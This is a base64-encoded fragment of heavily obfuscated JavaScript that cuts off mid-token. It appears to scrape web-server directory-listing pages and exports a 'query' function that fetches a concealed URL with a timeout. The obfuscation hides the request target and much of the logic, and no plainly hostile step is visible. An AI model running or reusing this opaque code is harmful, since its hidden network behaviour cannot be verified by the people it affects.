ZGMsXzB4NTA2NDIxLF8weDU4MmU0YSl7cmV0dXJuIF8weDI2MmYoXzB4NTgyZTRhLSAtMHgxOWEsXzB4MzlhYjY3KTt9ZnVuY3Rpb24gXzB4Mjg5YTg5KF8weDE1ZDhmMixfMHgyMzM3N2QsXzB4YjkwZTQyLF8weDEwMWY4OCxfMHgxOTAwNzUpe3JldHVybiBfMHgyNjJmKF8weGI5MGU0Mi0weDY0LF8weDE5MDA3NSk7fWZ1bmN0aW9uIF8weGRjNDljYyhfMHgyN2QxNmIsXzB4MWZjN2E5LF8weDViOTliYixfMHhmMDc5ZmEsXzB4MmM4YmNiKXtyZXR1cm4gXzB4MjYyZihfMHg1Yjk5YmItMHgyZDAsXzB4MmM4YmNiKTt9dHJ5e2lmKF8weDUyYjkwMVtfMHhlNjZmNDAoMHg2NSwneWYqUicsMHg1NywweDZlLDB4NjkpXShfMHg1MmI5MDFbXzB4NWU1YTgyKC0weGMzLC0weDc0LCcpWnNqJywtMHg4YiwtMHg5NildLF8weDUyYjkwMVtfMHhkYzQ5Y2MoMHg0YjgsMHg0NTUsMHg0N2QsMHg0YmQsJ1p2bCEnKV0pKXRyeXtjb25zdCBfMHgyMTE1M2Q9LzxzY3JpcHQ+YWRkUm93XCgoLio/KVwpOzxcL3NjcmlwdD4vZyxfMHgxNThlZDE9XzB4MTkwMWMwW18weDI4OWE4OSgweDIzYSwweDI3OCwweDIzOCwweDIxYiwnOWVdWicpK18weDVlNWE4MigtMHg0NywtMHgxNSwnQGl1MCcsLTB4MTAsLTB4MTUpXShfMHgyMTE1M2QpLF8weDE5MDI1ND1bXTtmb3IoY29uc3QgXzB4MWIyMWMxIG9mIF8weDE1OGVkMSl7Y29uc3QgXzB4NTAyZGZkPV8weDFiMjFjMVsweDQyYystMHgyNmQ1KjB4MSstMHgxZCotMHgxMzJdW18weDVlNWE4MigtMHg2MCwtMHg3OCwnc0N2eCcsLTB4ODksLTB4NmYpXSgvLCg/PSg/OlteIl0qIlteIl0qIikqW14iXSokKS8pW18weDI4OWE4OSgweDIzOSwweDFmYiwweDIyMSwweDI0ZSwnKWtnZicpXShfMHgyNDBkOWE9Pl8weDI0MGQ5YVtfMHgyODlhODkoMHgyNzUsMHgyOGUsMHgyNGQsMHgyMjgsJyVkS1MnKV0oKVtfMHgxMWFjMjcoMHg5MiwweDZhLDB4MjEsJ1B1JUMnLDB4MzIpKydjZSddKC8iL2csJycpKSxbXzB4NWJiZDVmLF8weDhjNmYxOSxfMHgzZDRiMDYsXzB4NWE5MDkxLF8weDNlMmYwOSxfMHgxYTc0MGYsXzB4MzI3NDk4XT1fMHg1MDJkZmQsXzB4NDQzNTA2PV8weDNkNGIwNj9fMHg1MmI5MDFbXzB4NWU1YTgyKC0weDIwLC0weDhhLCdmb2lkJywtMHg0OSwtMHg0ZSldKF8weDIwYTI2OCxfMHg1YmJkNWYpOjB4NyotMHgyNTMrMHgxNWU0Ky0weDU5ZioweDE7XzB4MTkwMjU0W18weDVlNWE4MigtMHg3ZSwtMHgyNCwnKVpzaicsLTB4NmQsLTB4NmEpXSh7J25hbWUnOl8weDViYmQ1ZiwndXJsJzpfMHg4YzZmMTksJ2lzRGlyJzpfMHg1MmI5MDFbXzB4Mjg5YTg5KDB4MjFmLDB4MWY5LDB4MjMwLDB4MjU2LCclZEtTJyldKF8weDVkNjllNyxfMHgzZDRiMDYpLCdleHRlbnNpb24nOl8weDQ0MzUwNiwnc2l6ZSc6XzB4NWE5MDkxLCdzaXplU3RyaW5nJzpfMHgzZTJmMDksJ2RhdGFNb2RpZmllZCc6XzB4NTJiOTAxW18weDI4OWE4OSgweDI2OCwweDJhOCwweDI4MiwweDI2ZCwnQ3k5VycpXShfMHg0MDVlYTgsXzB4MWE3NDBmKSwnZGF0YU1vZGlmaWVkU3RyaW5nJzpfMHgzMjc0OTh9KTt9cmV0dXJuIF8weDE5MDI1NDt9Y2F0Y2goXzB4NGM4NDI4KXtyZXR1cm5bXTt9ZWxzZXtjb25zdCBfMHg0NThjYTg9LzxzY3JpcHQ+YWRkUm93XCgoLio/KVwpOzxcL3NjcmlwdD4vZyxfMHgzMjRhMjQ9XzB4MzM0MmUxW18weGRjNDljYygweDQ0YiwweDQ3ZSwweDQ4MSwweDQ2NCwnKV4kdycpK18weDExYWMyNygweDI4LDB4MjcsLTB4MWQsJ1E1MEQnLDB4NjIpXShfMHg0NThjYTgpLF8weDQ3MzZiYz1bXTtmb3IoY29uc3QgXzB4MWIxYTNiIG9mIF8weDMyNGEyNCl7aWYoXzB4NTJiOTAxW18weDVlNWE4MigtMHg4MCwtMHgzZiwnWnVvJCcsLTB4NmMsLTB4YWIpXShfMHg1MmI5MDFbXzB4MTFhYzI3KDB4NTAsMHg1MywweDg1LCdmb2lkJywweDI5KV0sXzB4NTJiOTAxW18weDI4OWE4OSgweDI5YywweDI4YSwweDI3NCwweDI4YiwnQ3k5VycpXSkpe2NvbnN0IF8weDE3Nzc5NT1fMHgxYjFhM2JbLTB4MSotMHhhZTcrLTB4YjAzKzB4MSoweDFkXVtfMHg1ZTVhODIoLTB4NmUsLTB4MWEsJ3J5OGonLC0weDNhLC0weDRkKV0oLywoPz0oPzpbXiJdKiJbXiJdKiIpKlteIl0qJCkvKVtfMHg1ZTVhODIoLTB4MmYsLTB4NDMsJ2ElZ2EnLC0weDIsLTB4NDcpXShfMHgxNGQyYjY9Pl8weDE0ZDJiNltfMHgxMWFjMjcoMHg1OCwweDJkLDB4NTYsJ21JTygnLC0weDE2KV0oKVtfMHhlNjZmNDAoMHgzMSwnSlRHZicsMHg1NSwweDYxLDB4NDIpKydjZSddKC8iL2csJycpKSxbXzB4NDkwODM2LF8weDJmNzBhZixfMHgyOWYwNjQsXzB4OGI4NTMxLF8weDNmYTI3YixfMHgyMTM3ZGYsXzB4NTcyNDNjXT1fMHgxNzc3OTUsXzB4MjlkMDhlPV8weDI5ZjA2ND9fMHg1MmI5MDFbXzB4MTFhYzI3KDB4ODQsMHg0ZSwweDUsJyVkS1MnLDB4NzMpXShleHRyYWN0RXh0RmlsZSxfMHg0OTA4MzYpOi0weDFmZTArLTB4MTZkMSsweDEyM2IqMHgzO18weDQ3MzZiY1tfMHg1ZTVhODIoLTB4NmIsLTB4ZDEsJzRoYjknLC0weDhmLC0weDc4KV0oeyduYW1lJzpfMHg0OTA4MzYsJ3VybCc6XzB4MmY3MGFmLCdpc0Rpcic6XzB4NTJiOTAxW18weGU2NmY0MCgweDI2LCdRNTBEJywweDEyLDB4NDcsMHg1NSldKHBhcnNlSW50LF8weDI5ZjA2NCksJ2V4dGVuc2lvbic6XzB4MjlkMDhlLCdzaXplJzpfMHg4Yjg1MzEsJ3NpemVTdHJpbmcnOl8weDNmYTI3YiwnZGF0YU1vZGlmaWVkJzpfMHg1MmI5MDFbXzB4Mjg5YTg5KDB4MjFlLDB4MjQ4LDB4MjNiLDB4MjQ1LCcwIXFpJyldKHBhcnNlSW50LF8weDIxMzdkZiksJ2RhdGFNb2RpZmllZFN0cmluZyc6XzB4NTcyNDNjfSk7fWVsc2UgXzB4NTgzOTJmW18weGRjNDljYygweDRiOCwweDQ1NCwweDQ3OCwweDQ5YywnYW9QXicpXSgpO31yZXR1cm4gXzB4NDczNmJjO319Y2F0Y2goXzB4M2I2YzA1KXtyZXR1cm4gXzB4NTJiOTAxW18weGRjNDljYygweDQ4YywweDRiMCwweDQ5NCwweDQ3ZiwnQ1hBZycpXShfMHg1MmI5MDFbXzB4NWU1YTgyKDB4MWYsMHgxYiwndW9PVicsLTB4NSwtMHgyYyldLF8weDUyYjkwMVtfMHgyODlhODkoMHgyOGMsMHgyNDYsMHgyN2YsMHgyNTUsJ1FtaDUnKV0pPyhfMHgxYzU4ZjBbXzB4MTFhYzI3KDB4OTYsMHg5OSwweGIzLCcqeVBvJywweDc0KV0sbnVsbCk6W107fX07ZXhwb3J0IGNvbnN0IHF1ZXJ5PWFzeW5jIF8weDU2ZWMwNj0+e2Z1bmN0aW9uIF8weDMzZmViMChfMHg1NzgzYTQsXzB4M2Q2NTg4LF8weDQ5MzlkMSxfMHg0MTJmODYsXzB4NDI5YWIwKXtyZXR1cm4gXzB4MjYyZihfMHgzZDY1ODgtIC0weDQ1LF8weDU3ODNhNCk7fWZ1bmN0aW9uIF8weDEyN2RjNyhfMHg2YWE1NjAsXzB4MzY5MDY4LF8weDNkM2ZkMCxfMHgzZDAxOGIsXzB4MjFjYjFmKXtyZXR1cm4gXzB4MjYyZihfMHg2YWE1NjAtMHgxNixfMHgzNjkwNjgpO31mdW5jdGlvbiBfMHg1MjZhY2MoXzB4MmMwMDBlLF8weDQ3MDA4MyxfMHg1ZTVhNzEsXzB4MzZkMGY1LF8weDI4ZTlhNyl7cmV0dXJuIF8weDI2MmYoXzB4NWU1YTcxLTB4MmY5LF8weDJjMDAwZSk7fWNvbnN0IF8weDIxMTk3Yj17J3BXR1BiJzpmdW5jdGlvbihfMHgxZTYzMmMsXzB4OWZhMjM5KXtyZXR1cm4gXzB4MWU2MzJjIT09XzB4OWZhMjM5O30sJ29SakZxJzpfMHg0MTU5YWYoMHgyYzMsMHgyZTYsJ1B1JUMnLDB4MjllLDB4MjgzKSwnZ3Bab2InOmZ1bmN0aW9uKF8weDFhYmE1OCxfMHgzMjNjM2Upe3JldHVybiBfMHgxYWJhNTgoXzB4MzIzYzNlKTt9LCd0UVNqUSc6ZnVuY3Rpb24oXzB4NGFiYThiLF8weDM1ZjIwNSl7cmV0dXJuIF8weDRhYmE4Yj09PV8weDM1ZjIwNTt9LCdKSFJCSyc6ZnVuY3Rpb24oXzB4MjNjNzEwLF8weDQ2ZGQ1Nyl7cmV0dXJuIF8weDIzYzcxMCE9PV8weDQ2ZGQ1Nzt9LCdsb0hJTic6ZnVuY3Rpb24oXzB4MWE2YTAwLF8weDFhMjlmMCl7cmV0dXJuIF8weDFhNmEwMCtfMHgxYTI5ZjA7fSwnZElwUXEnOl8weDEyN2RjNygweDFlOCwnOFA5OScsMHgxZmQsMHgxYzEsMHgxZGMpLCdNQ1pyQic6XzB4NDE1OWFmKDB4MmZhLDB4MmYyLCdtSU8oJywweDJmZCwweDMxMCksJ1pQUndmJzpfMHg4Mjg1MTEoMHg5ZSwnZm9pZCcsMHhjZSwweDkwLDB4Y2YpLCdGQ3hMWSc6ZnVuY3Rpb24oXzB4MzU1OGI5LF8weDRjNDRjZCl7cmV0dXJuIF8weDM1NThiOShfMHg0YzQ0Y2QpO30sJ0VNa3pLJzpmdW5jdGlvbihfMHg0YWJiMWUsXzB4MjUxYWVlKXtyZXR1cm4gXzB4NGFiYjFlKF8weDI1MWFlZSk7fSwnU3NkVEonOl8weDMzZmViMCgnKWtnZicsMHgxNWEsMHgxNGIsMHgxMTUsMHgxNGQpLCdqY1dPcyc6ZnVuY3Rpb24oXzB4NDBmYzM0LF8weDMwNWIwYil7cmV0dXJuIF8weDQwZmMzNCE9PV8weDMwNWIwYjt9LCdwYmFBayc6XzB4MTI3ZGM3KDB4MWRjLCdHYTA3JywweDIxMSwweDIxNywweDFiNyksJ016RkJmJzpmdW5jdGlvbihfMHgyZmY5N2MsXzB4NDM4Nzg4LF8weDNlNzFmOSl7cmV0dXJuIF8weDJmZjk3YyhfMHg0Mzg3ODgsXzB4M2U3MWY5KTt9LCdyZUduZCc6ZnVuY3Rpb24oXzB4MjI4ODhjLF8weDEwNTM1Nil7cmV0dXJuIF8weDIyODg4YyhfMHgxMDUzNTYpO30sJ2Fwb0x6JzpfMHgzM2ZlYjAoJ2YyYmsnLDB4MTg5LDB4MTllLDB4MTU2LDB4MTliKSwnUk9GZ0snOmZ1bmN0aW9uKF8weDNhYzYwZCl7cmV0dXJuIF8weDNhYzYwZCgpO30sJ0xSY0JFJzpmdW5jdGlvbihfMHg2MzhiMjUsXzB4MzYyOTc0KXtyZXR1cm4gXzB4NjM4YjI1KF8weDM2Mjk3NCk7fX07ZnVuY3Rpb24gXzB4ODI4NTExKF8weDJkMzQ1YixfMHg1MDljMGYsXzB4NTI1MWQwLF8weDUzNzdhZCxfMHg0Zjg3ZTUpe3JldHVybiBfMHgyNjJmKF8weDUyNTFkMC0gLTB4MTFmLF8weDUwOWMwZik7fWZ1bmN0aW9uIF8weDQxNTlhZihfMHg1YzdhNjEsXzB4MThiYmY2LF8weDQ1MjM3ZSxfMHg0NjgzZjIsXzB4NDg5YTcxKXtyZXR1cm4gXzB4MjYyZihfMHg1YzdhNjEtMHgxMGMsXzB4NDUyMzdlKTt9dHJ5e2lmKF8weDIxMTk3YltfMHg1MjZhY2MoJzRoYjknLDB4NDk0LDB4NGEzLDB4NDgxLDB4NGUwKV0oXzB4MjExOTdiW18weDQxNTlhZigweDJiYiwweDJkOCwnV0UpKicsMHgyZDgsMHgyYjYpXSxfMHgyMTE5N2JbXzB4NTI2YWNjKCdDeTlXJywweDUzMCwweDUwMSwweDRmOCwweDUwNildKSlyZXR1cm5bXTtlbHNle2NvbnN0IF8weDQ0YThmYj1fMHg4Mjg1MTEoMHhlZiwnRUd1WycsMHhkZiwweGZlLDB4MTFlKStfMHg1MjZhY2MoJ2xbWUknLDB4NGU5LDB4NGRmLDB4NGE5LDB4NDlkKStfMHg1NmVjMDYsXzB4MWU1MzViPW5ldyBBYm9ydENvbnRyb2xsZXIoKSxfMHg1OWQyZGI9XzB4MWU1MzViW18weDMzZmViMCgnUiopQCcsMHgxNzMsMHgxNTQsMHgxYjIsMHgxNTcpKydsJ10sXzB4MjBmMzZlPV8weDIxMTk3YltfMHgxMjdkYzcoMHgyMDYsJ0NYQWcnLDB4MWM2LDB4MWU3LDB4MWU2KV0oc2V0VGltZW91dCwoKT0+e2Z1bmN0aW9uIF8weGRiN2ZlMihfMHgxMDQ3ODMsXzB4NDdiMmE5LF8weDU2MjU0NyxfMHgyMGIxZjEsXzB4MjIwZjRlKXtyZXR1cm4gXzB4NDE1OWFmKF8weDEwNDc4My0gLTB4M2RhLF8weDQ3YjJhOS0weDFlNyxfMHgyMjBmNGUsXzB4MjBiMWYxLTB4MTVjLF8weDIyMGY0ZS0weGY0KTt9ZnVuY3Rpb24gXzB4NDA2ODBmKF8weDU4MmQ4ZSxfMHg1MTZlMjgsXzB4MTNiZTMyLF8weDRlNzllYSxfMHgyMmNlMmEpe3JldHVybiBfMHgxMjdkYzcoXzB4NTgyZDhlLTB4MTBiLF8weDRlNzllYSxfMHgxM2JlMzItMHgxNTgsXzB4NGU3OWVhLTB4MTdmLF8weDIyY2UyYS0weGVlKTt9ZnVuY3Rpb24gXzB4M2NiOTg3KF8weDIzNzgwNSxfMHgzZmM0ZTYsXzB4NTFiYTA5LF8weDMxODZjYSxfMHgxOWI5ZTkpe3JldHVybiBfMHg4Mjg1MTEoXzB4MjM3ODA1LTB4ZDAsXzB4MzE4NmNhLF8weDUxYmEwOS0weDJhLF8weDMxODZjYS0weDJiLF8weDE5YjllOS0weGQ0KTt9ZnVuY3Rpb24gXzB4M2YxMmU2KF8weDJiNDQ2ZixfMHg1ZmQ0YmQsXzB4MjA2NTcyLF8weDM0NTVhNixfMHgzMTUyMjMpe3JldHVybiBfMHg1MjZhY2MoXzB4MzQ1NWE2LF8weDVmZDRiZC0weGE2LF8weDMxNTIyMy0weGIyLF8weDM0NTVhNi0weDFlOSxfMHgzMTUyMjMtMHhiYyk7fWZ1bmN0aW9uIF8weDMxNmNkMihfMHgyYjkxMDksXzB4MzE2NGJkLF8weDUzN2IzZixfMHgyNGUxM2EsXzB4MWRjMWM0KXtyZXR1cm4gXzB4MTI3ZGM3KF8weDUzN2IzZi0weDIyNyxfMHgyNGUxM2EsXzB4NTM3YjNmLTB4MTVjLF8weDI0ZTEzYS0weDE1ZCxfMHgxZGMxYzQtMHgxYTYpO31fMHgyMTE5N2JbXzB4M2YxMmU2KDB4NWI5LDB4NWFhLDB4NTZjLCdRNTBEJywweDViNSldKF8weDIxMTk3YltfMHgzMTZjZDIoMHgzZTIsMHg0MTUsMHg0MGQsJylac2onLDB4M2MzKV0sXzB4MjExOTdiW18weDMxNmNkMigweDNiNiwweDQzOCwweDQwMCwnUW1oNScsMHg0MmYpXSk/XzB4M2VhNzdjW18weDNmMTJlNigweDU2MCwweDU1NSwweDVhMiwndW9PVicsMHg1NzApXSgpOl8weDFlNTM1YltfMHhkYjdmZTIoLTB4Y2UsLTB4ZmEsLTB4YWEsLTB4Y2QsJ0dhVlknKV0oKTt9LC0weDIqLTB4ODY3Ky0weDEqLTB4MWRjZSsweDYqLTB4N2I0KSxfMHgyMmRhNDY9YXdhaXQgXzB4MjExOTdiW18weDQxNTlhZigweDMyNiwweDMxYiwndDdDVScsMHgzMTAsMHgzM2IpXShmZXRjaCxfMHg0NGE4ZmIseydzaWduYWwnOl8weDU5ZDJkYn0pO18weDIxMTk3YltfMHg1MjZhY2MoJ2ElZ2EnLDB4NGY4LDB4NGI5LDB4NGU2LDB4NGIxKV0oY2xlYXJUaW1lb3V0LF8weDIwZjM2ZSk7Y29uc3QgXzB4NTVmOTMwPV8weDIyZGE0NltfMHgzM2ZlYjAoJ2ZvaWQnLDB4MTg1LDB4MWMzLDB4MWM5LDB4MTgwKV1bXzB4MzNmZWIwKCdjU3hAJywweDFhNiwweDE5OSwweDE3NywweDFjYikrXzB4NDE1OWFmKDB4MzA1LDB4MzFiLCdjU3hAJywweDJlMSwweDMyOCldKCksXzB4OTAwNDNmPW5ldyBUZXh0RGVjb2RlcihfMHgyMTE5N2JbXzB4MTI3ZGM3KDB4MWQ1LCdzQ3Z4JywweDIxYSwweDIwNCwweDFlNCldKTtsZXQgXzB4MmI1YTM3PScnO2NvbnN0IF8weDFiOWFiYz1hc3luYygpPT57ZnVuY3Rpb24gXzB4MmRkMjk3KF8weDQ5NDk5MixfMHgyYWQ4MjgsXzB4MTEyYjg0LF8weDRmMGE3ZixfMHgzNDgyYmIpe3JldHVybiBfMHg4Mjg1MTEoXzB4NDk0OTkyLTB4ZGUsXzB4MmFkODI4LF8weDExMmI4NC0weDRlNCxfMHg0ZjBhN2YtMHhkYyxfMHgzNDgyYmItMHhkOSk7fWZ1bmN0aW9uIF8weDQ4NzZiNihfMHg1YzQ1NDksXzB4NWE1ZjhiLF8weDMyZjNhMSxfMHgzYWE5M2MsXzB4NGFmNjE4KXtyZXR1cm4gXzB4ODI4NTExKF8weDVjNDU0OS0weDE0MCxfMHg1YTVmOGIsXzB4MzJmM2ExLTB4MTZhLF8weDNhYTkzYy0weDEyLF8weDRhZjYxOC0weDFmMSk7fWZ1bmN0aW9uIF8weDU5ZTVlOShfMHgxZTg5NWMsXzB4NGU4ZTgwLF8weDFhMzA3MSxfMHgxNmQ4YTAsXzB4MjcxN2M1KXtyZXR1cm4gXzB4ODI4NTExKF8weDFlODk1Yy0weDdjLF8weDI3MTdjNSxfMHgxZTg5NWMtMHgzYmYsXzB4MTZkOGEwLTB4OWMsXzB4MjcxN2M1LTB4MTcwKTt9ZnVuY3Rpb24gXzB4MjJmMTNlKF8weDI1Mjk0OCxfMHg0Mjc1NjAsXzB4MjQyNTdhLF8weDQ5ZmM1NCxfMHg0Nzk1ZDUpe3JldHVybiBfMHgzM2ZlYjAoXzB4MjQyNTdhLF8weDQ3OTVkNS0weDI3YyxfMHgyNDI1N2EtMHhhOSxfMHg0OWZjNTQtMHg4ZixfMHg0Nzk1ZDUtMHgzNSk7fWZ1bmN0aW9uIF8weDI2YzQyOShfMHg0NjI0NmIsXzB4M2MyZTIzLF8weDUyNjJmMCxfMHgzNTY3MjAsXzB4NTZhMjViKXtyZXR1cm4gXzB4MzNmZWIwKF8weDNjMmUyMyxfMHgzNTY3MjAtIC0weDNhMixfMHg1MjYyZjAtMHg3MyxfMHgzNTY3MjAtMHgyZixfMHg1NmEyNWItMHgxMjApO31pZihfMHgyMTE5N2JbXzB4MmRkMjk3KDB4NWNkLCcpXiR3JywweDVkOSwweDVmMywweDViMCldKF8weDIxMTk3YltfMHgyZGQyOTcoMHg1ODUsJ3J5OGonLDB4NTkwLDB4NWRhLDB4NWE3KV0sXzB4MjExOTdiW18weDJkZDI5NygweDU3OCwnJmNobycsMHg1NjgsMHg1OTEsMHg1OWEpXSkpe2NvbnN0IF8weDVlZDcyMz1fMHg0MzI3ZjNbMHg4N2MrMHhlKi0weDE1MSsweDlmM11bXzB4MjJmMTNlKDB4NDRhLDB4NDQwLCdESnhNJywweDQ2NCwweDQzYyldKC8sKD89KD86W14iXSoiW14iXSoiKSpbXiJdKiQpLylbXzB4MjZjNDI5KC0weDFjZSwnOFA5OScsLTB4MWUzLC0weDIxMiwtMHgyMWMpXShfMHgzZTgyZmU9Pl8weDNlODJmZVtfMHgyNmM0MjkoLTB4MWNhLCdyeThqJywtMHgxZWUsLTB4MWM4LC0weDFkZildKClbXzB4NTllNWU5KDB4NDM5LDB4NDJjLDB4M2ZlLDB4NDViLCcxVmZDJykrJ2NlJ10oLyIvZywnJykpLFtfMHgzMzVlMjEsXzB4MTYwYjI3LF8weGVlZjQ0NyxfMHg1OWM2ZjMsXzB4MjNkYWQ3LF8weDNlOGQxZCxfMHg2YWEwYzBdPV8weDVlZDcyMyxfMHg0MzE0NjA9XzB4ZWVmNDQ3P18weDIxMTk3YltfMHg0ODc2YjYoMHgyMTUsJylac2onLDB4MjVhLDB4MjMxLDB4MjhhKV0oXzB4Mjk4OTUxLF8weDMzNWUyMSk6MHgxNDlmKi0weDErMHgxZCoweGU4Ky0weDVhOSoweDE7XzB4MjIzOGNjW18weDU5ZTVlOSgweDQzNiwweDQyNywweDQ1YywweDQwYSwncnk4aicpXSh7J25hbWUnOl8weDMzNWUyMSwndXJsJzpfMHgxNjBiMjcsJ2lzRGlyJzpfMHgyMTE5N2JbXzB4MjJmMTNlKDB4NDI5LDB4NDRmLCcpXiR3JywweDQxZSwweDQ1NyldKF8weDNiZGI3MCxfMHhlZWY0NDcpLCdleHRlbnNpb24nOl8weDQzMTQ2MCwnc2l6ZSc6XzB4NTljNmYzLCdzaXplU3RyaW5nJzpfMHgyM2RhZDcsJ2RhdGFNb2RpZmllZCc6XzB4MjExOTdiW18weDQ4NzZiNigweDI1MSwnT3hZUCcsMHgyNTQsMHgyN2UsMHgyMjMpXShfMHgxZWM3OWIsXzB4M2U4ZDFkKSwnZGF0YU1vZGlmaWVkU3RyaW5nJzpfMHg2YWEwYzB9KTt9ZWxzZXtmb3IoOzspe2lmKF8weDIxMTk3YltfMHgyMmYxM2UoMHgzZDAsMHg0MjEsJyVkS1MnLDB4Mzk4LDB4M2Q4KV0oXzB4MjExOTdiW18weDI2YzQyOSgtMHgyNGYsJ1E1MEQnLC0weDFmOCwtMHgyMzMsLTB4MjYwKV0sXzB4MjExOTdiW18weDQ4NzZiNigweDI2NSwnSlRHZicsMHgyNTgsMHgyODgsMHgyNGYpXSkpe2lmKF8weDIxMTk3YltfMHg0ODc2YjYoMHgyODEsJ0BpdTAnLDB4MjUyLDB4MjBkLDB4MjgwKV0obnVsbCxfMHg1ZjM3NzkpKXJldHVybicnO18weDIxMTk3YltfMHgyMmYxM2UoMHg0NDIsMHg0ODUsJ2FvUF4nLDB4NDg2LDB4NDQ1KV0odHlwZW9mIF8weDI2NWQ2ZixfMHgxZTBmNGQpJiYoXzB4NDY1ZTdiPV8weDcyZTIzMVtfMHgyNmM0MjkoLTB4MjJkLCd5ZipSJywtMHgyNWUsLTB4MjFmLC0weDFlMCkrXzB4MmRkMjk3KDB4NWE4LCdlNiReJywweDU4YywweDViZSwweDU0ZildKCkpO2NvbnN0IF8weDViODg4NT1fMHgyMDRiMDRbXzB4NTllNWU5KDB4NDhhLDB4NDhkLDB4NDlkLDB4NGNjLCd0N0NVJykrXzB4MjJmMTNlKDB4NDFhLDB4M2UxLCd5ZipSJywweDNmMCwweDQyOCkrJ2YnXSgnLicpO3JldHVybiBfMHgyMTE5N2JbXzB4NDg3NmI2KDB4MjI2LCdRNTBEJywweDI2MCwweDIyMywweDJhNyldKC0oMHg0YiotMHg1OSstMHgzMzUqMHgzKzB4MmJmKjB4ZCksXzB4NWI4ODg1KT9fMHg0OTVjODRbXzB4MjJmMTNlKDB4M2U3LDB4NDNiLCdHYVZZJywweDQyNSwweDQxNykrXzB4NTllNWU5KDB4NDczLDB4NDU3LDB4NDMwLDB4NDU2LCdmMmJrJyldKF8weDIxMTk3YltfMHg1OWU1ZTkoMHg0YzUsMHg0ZGEsMHg0ZDUsMHg0ZDgsJ2hrJW8nKV0oXzB4NWI4ODg1LC0weGIqMHhkOSstMHgzOWErMHhjZWUpKVtfMHg0ODc2YjYoMHgyM2YsJzllXVonLDB4MjZlLDB4MmI2LDB4MjhiKStfMHgyZGQyOTcoMHg1YTcsJzFWZkMnLDB4NTdiLDB4NWM1LDB4NThiKSsnZSddKCk6Jyc7fWVsc2V7Y29uc3Qge2RvbmU6XzB4MjQ5N2M0LHZhbHVlOl8weDI5OTBlYX09YXdhaXQgXzB4NTVmOTMwW18weDIyZjEzZSgweDQzYiwweDNlZSwnY1N4QCcsMHg0NTcsMHg0MzYpXSgpO2lmKF8weDI0OTdjNClicmVhaztjb25zdCBfMHg0ZWFiNzQ9e307XzB4NGVhYjc0W18weDI2YzQyOSgtMHgyNGIsJ3BNUWwnLC0weDIzMCwtMHgyMzQsLTB4MjIwKSsnbSddPSEoLTB4MTNiZisweDYqMHgxYmIrLTB4MzMqLTB4MmYpLF8weDJiNWEzNys9XzB4OTAwNDNmW18weDU5ZTVlOSgweDQ2MiwweDRhMCwweDQ5YywweDQ1Yywnc0N2eCcpKydlJ10oXzB4Mjk5MGVhLF8weDRlYWI3NCk7fX1yZXR1cm4gXzB4MmI1YTM3Kz1fMHg5MDA0M2ZbXzB4NTllNWU5KDB4NDc4LDB4NDliLDB4NGIxLDB4NGI2LCdKTGM1JykrJ2UnXSgpLF8weDJiNWEzNzt9fSxfMHgyNmNlZTA9XzB4MjExOTdiW18weDEyN2RjNygweDFmNywnREp4TScsMHgyM2IsMHgxYWQsMHgxZTMpXShzZXRUaW1lb3V0LCgpPT57ZnVuY3Rpb24gXzB4NDNmN2M3KF8weGY4ZDE0OSxfMHg1NjAyM2EsXzB4ZDdhMGZjLF8weDI4OTYxMCxfMHgyOGU4ODkpe3JldHVybiBfMHg4Mjg1MTEoXzB4ZjhkMTQ5LTB4ODAsXzB4MjhlODg5LF8weDU2MDIzYS0gLTB4MWY0LF8weDI4OTYxMC0weGYsXzB4MjhlODg5LTB4MTMxKTt9ZnVuY3Rpb24gXzB4MmJhMTVjKF8weDc3MDQ4LF8weDFkMDBmZixfMHg0ZWVhZjgsXzB4NGI3NzMzLF8weDRlNThkMil7cmV0dXJuIF8weDMzZmViMChfMHg3NzA0OCxfMHg0ZTU4ZDItIC0weDU3LF8weDRlZWFmOC0weDE5OCxfMHg0Yjc3MzMtMHgxZDQsXzB4NGU1OGQyLTB4MWQpO31mdW5jdGlvbiBfMHg4ZDhiYWQoXzB4MTQxNTFkLF8weDU3MjYzMixfMHg0MTJjZjksXzB4NTNjMGRiLF8weDM3NTRjMCl7cmV0dXJuIF8weDEyN2RjNyhfMHgxNDE1MWQtIC0weDIwMCxfMHg1M2MwZGIsXzB4NDEyY2Y5LTB4Y2MsXzB4NTNjMGRiLTB4MTcwLF8weDM3NTRjMC0weDFlZCk7fWZ1bmN0aW9uIF8weDM5ZjRjNChfMHgxMTMzY2QsXzB4NGMwMmUxLF8weDU4ZmY4MixfMHgzMmY1YzAsXzB4M2ZiZDNjKXtyZXR1cm4gXzB4MzNmZWIwKF8weDMyZjVjMCxfMHgxMTMzY2QtIC0weDFlZSxfMHg1OGZmODItMHhkMCxfMHgzMmY1YzAtMHgxYjAsXzB4M2ZiZDNjLTB4MWFhKTt9ZnVuY3Rpb24gXzB4MmM0ZmFjKF8weGI1YzdhMyxfMHgyZjRjNDYsXzB4M2Q2NDgyLF8weDQ1MDU5NyxfMHg0MjVlM2Qpe3JldHVybiBfMHg0MTU5YWYoXzB4YjVjN2EzLTB4MWM2LF8weDJmNGM0Ni0weDEyNixfMHgyZjRjNDYsXzB4NDUwNTk3LTB4MzgsXzB4NDI1ZTNkLTB4YWQpO31jb25zdCBfMHgzZmFiMjc9eydHSkhrVCc6ZnVuY3Rpb24oXzB4Y2U2MDNmLF8weDJjNmE2MSl7ZnVuY3Rpb24gXzB4NTU3NDljKF8weDI1Mjk3ZixfMHgxZmUwNmIsXzB4MTU2NTU2LF8weDNhODEwYSxfMHgzYTQyOTcpe3JldHVybiBfMHgyNjJmKF8weDI1Mjk3Zi0weDNiZCxfMHgzYTgxMGEpO31yZXR1cm4gXzB4MjExOTdiW18weDU1NzQ5YygweDU2MSwweDUyOCwweDU5NywndDdDVScsMHg1YTcpXShfMHhjZTYwM2YsXzB4MmM2YTYxKTt9LCd3ZlZnTSc6ZnVuY3Rpb24oXzB4NGU3YWFhLF8weDFlMjk5NCl7ZnVuY3Rpb24gXzB4NDYzOWU3KF8weDNkMDg4OSxfMHhjZTQ4MTYsXzB4MWRlN2JiLF8weDI4YTkxYSxfMHg1OTdiNGMpe3JldHVybiBfMHgyNjJmKF8weDFkZTdiYi0gLTB4MWQ0LF8weGNlNDgxNik7fXJldHVybiBfMHgyMTE5N2JbXzB4NDYzOWU3KC0weDE2LCdadmwhJywtMHgxZiwtMHgzMiwweDI1KV0oXzB4NGU3YWFhLF8weDFlMjk5NCk7fSwnSVNVeWsnOmZ1bmN0aW9uKF8weDMxMDk2YSxfMHgyZDk4ZTMpe2Z1bmN0aW9uIF8weDQ0YzVlZihfMHgxMjY2YjgsXzB4NTAwOWM4LF8weDFkYmI4MyxfMHg0ZTUzMzEsXzB4MmRlMzA4KXtyZXR1cm4gXzB4MjYyZihfMHg1MDA5Yzgt